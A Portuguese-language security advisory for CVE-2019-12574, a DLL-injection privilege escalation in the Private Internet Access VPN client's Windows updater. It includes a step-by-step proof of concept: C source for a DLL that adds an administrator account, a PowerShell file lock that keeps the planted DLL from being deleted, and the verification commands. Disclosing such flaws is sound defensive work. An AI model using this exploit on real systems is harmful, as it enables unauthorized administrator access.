ASA-2019-00380 – London Trust Media Private Internet Access: Vulnerabilidade de injeção de DLL durante processo de atualização


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00380

Identificador(es)

ASA-2019-00380, CVE-2019-12574

Título

Vulnerabilidade de injeção de DLL durante processo de atualização

Fabricante(s)

London Trust Media, Inc

Produto(s)

Private Internet Access (PIA) VPN Client

Versão(ões) afetada(s)

Private Internet Access (PIA) VPN Client para Windows versão 1.0.2 (build 02363)

Versão(ões) Corrigida(s)

Private Internet Access (PIA) VPN Client para Windows versão v1.2.1

Prova de conceito

Sim

Descrição

Uma vulnerabilidade no Private Internet Access (PIA) VPN Client para Windows versão 1.0.2 (build 02363) pode permitir que um atacante local autenticado execute código arbitrário com privilégios elevados.

O cliente PIA Desktop é vulnerável a uma vulnerabilidade de injeção de DLL durante o processo de atualização. O atualizador carrega várias DLLs de uma pasta à qual os usuários autenticados têm acesso de gravação. Um usuário com poucos privilégios pode aproveitar essa vulnerabilidade para executar código arbitrário como administrador.

Detalhes técnicos

Quando uma atualização está disponível, um usuário de baixo privilégio é notificado no cliente e é apresentado a opção de baixá-lo. Quando clicado, o cliente PIA envia um comando para o serviço PIA para baixar a atualização. A atualização é preparada em “C:\ProgramData\Private Internet Access\update\”. Este diretório e todos os arquivos dentro dele são removidos antes de armazenar o arquivo de atualização.

Um usuário com poucos privilégios pode criar um arquivo no diretório de atualização e definir um bloqueio que evite que o serviço PIA o exclua durante o processo de download. Isso pode ser aproveitado para preparar uma DLL maliciosa que o processo de atualização carregará. Na próxima vez que um administrador abrir o cliente PIA, uma nova opção para instalar a versão mais recente estará disponível. Quando clicado, o atualizador instalará a atualização e executará silenciosamente o código arbitrário como administrador. Este PoC demonstrará que um novo administrador chamado “woot” será adicionado durante o processo de atualização.

As seguintes DLLs são carregadas pelo arquivo pia-windows-x64-1.0-02176.exe

C:\ProgramData\Private Internet Access\update\spinf.dll
C:\ProgramData\Private Internet Access\update\USERENV.dll
C:\ProgramData\Private Internet Access\update\newdev.dll
C:\ProgramData\Private Internet Access\update\DEVRTL.dll
C:\ProgramData\Private Internet Access\update\DEVOBJ.dll
C:\ProgramData\Private Internet Access\update\drvstore.dll
C:\ProgramData\Private Internet Access\update\PROPSYS.dll
C:\ProgramData\Private Internet Access\update\LINKINFO.dll
C:\ProgramData\Private Internet Access\update\ntshrui.dll
C:\ProgramData\Private Internet Access\update\SspiCli.dll
C:\ProgramData\Private Internet Access\update\srvcli.dll
C:\ProgramData\Private Internet Access\update\cscapi.dll
C:\ProgramData\Private Internet Access\update\CLDAPI.dll
C:\ProgramData\Private Internet Access\update\FLTLIB.DLL
C:\ProgramData\Private Internet Access\update\apphelp.dll
C:\ProgramData\Private Internet Access\update\netutils.dll

Permissões de “C:\ProgramData\Private Internet Access” mostrando que BUILTIN\Users possui acesso de gravação.

:\ProgramData\Private Internet Access NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Administrators:(OI)(CI)(ID)F
CREATOR OWNER:(OI)(CI)(IO)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
BUILTIN\Users:(CI)(ID)(special access:)
FILE_WRITE_DATA
FILE_APPEND_DATA
FILE_WRITE_EA
FILE_WRITE_ATTRIBUTES

Permissões de “C:\ProgramData\Private Internet Access\update” mostrando que o usuário test1 tem acesso total (consulte a etapa 2).

c:\ProgramData\Private Internet Access\update NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Administrators:(OI)(CI)(ID)F
CHAOS\test1:(ID)F
CREATOR OWNER:(OI)(CI)(IO)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
BUILTIN\Users:(CI)(ID)(special access:)
FILE_WRITE_DATA
FILE_APPEND_DATA
FILE_WRITE_EA
FILE_WRITE_ATTRIBUTES

1) Abra um shell cmd e mude para a pasta “C:\ProgramData\Private Internet Access”.

cd "c:\ProgramData\Private Internet Access"

2) Crie a pasta de atualização e mude para ela.

mkdir update
cd update

3) Crie uma biblioteca maliciosa para criar uma conta de administrador chamada woot quando carregada.

/* Cross Compile with
x86_64-w64-mingw32-g++ woot.c -o woot.dll -shared
*/

#include <windows.h>

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpReserved )
{
    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH:
            system("cmd /c net user woot insertpasswordhere /add");
            system("cmd /c net localgroup administrators woot /add");
            break;

        case DLL_THREAD_ATTACH:
            // Do thread-specific initialization.
            break;

        case DLL_THREAD_DETACH:
            // Do thread-specific cleanup.
            break;

        case DLL_PROCESS_DETACH:
            // Perform any necessary cleanup.
            break;
    }
    return TRUE; // Successful DLL_PROCESS_ATTACH.
}

4) Copie a DLL maliciosa para a pasta de atualização. Para este PoC, usaremos o spinf.dll como o destino.

copy woot.dll spinf.dll

5) Execute o powershell e defina um bloqueio no arquivo spinf.dll para evitar que a biblioteca seja excluída. O autor agradece a @poshkatz por ensinar a ele como bloquear arquivos facilmente com o PowerShell.

$f = [System.IO.File]::Open("spinf.dll",[System.IO.FileMode]::Open [System.IO.FileAccess]::Read,
[System.IO.FileShare]::Read)

6) Verifique o bloqueio digitando $f. A saída deve ficar assim.

CanRead : True
CanWrite : False
CanSeek : True
IsAsync : False
Length : 287283
Name : c:\ProgramData\Private Internet Access\update\spinf.dll
Position : 0
Handle : 880
SafeFileHandle : Microsoft.Win32.SafeHandles.SafeFileHandle
CanTimeout : False
ReadTimeout :
WriteTimeout :

7) Abra o cliente PIA. Uma atualização estará disponível. Clique em Download v1.0.0.

8) Agora que a atualização está preparada, saia de todas as janelas e faça logout.

9) Login como administrador.

10) Abra o cliente PIA e clique no ícone de atualização no canto superior direito e clique na opção “Instalar v1.0.0”. A atualização será instalada normalmente.

11) Neste ponto, a conta de administrador “woot” existirá. Abra um shell cmd e verifique.

net user woot

Créditos

Rich Mirch

Referência(s)

PIA Windows Privilege Escalation: DLL Injection
https://github.com/mirchr/security-research/blob/master/vulnerabilities/PIA/CVE-2019-12574.txt

CVE-2019-12574
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12574

CVE-2019-12574
https://nvd.nist.gov/vuln/detail/CVE-2019-12574

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 26 junho 2019

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.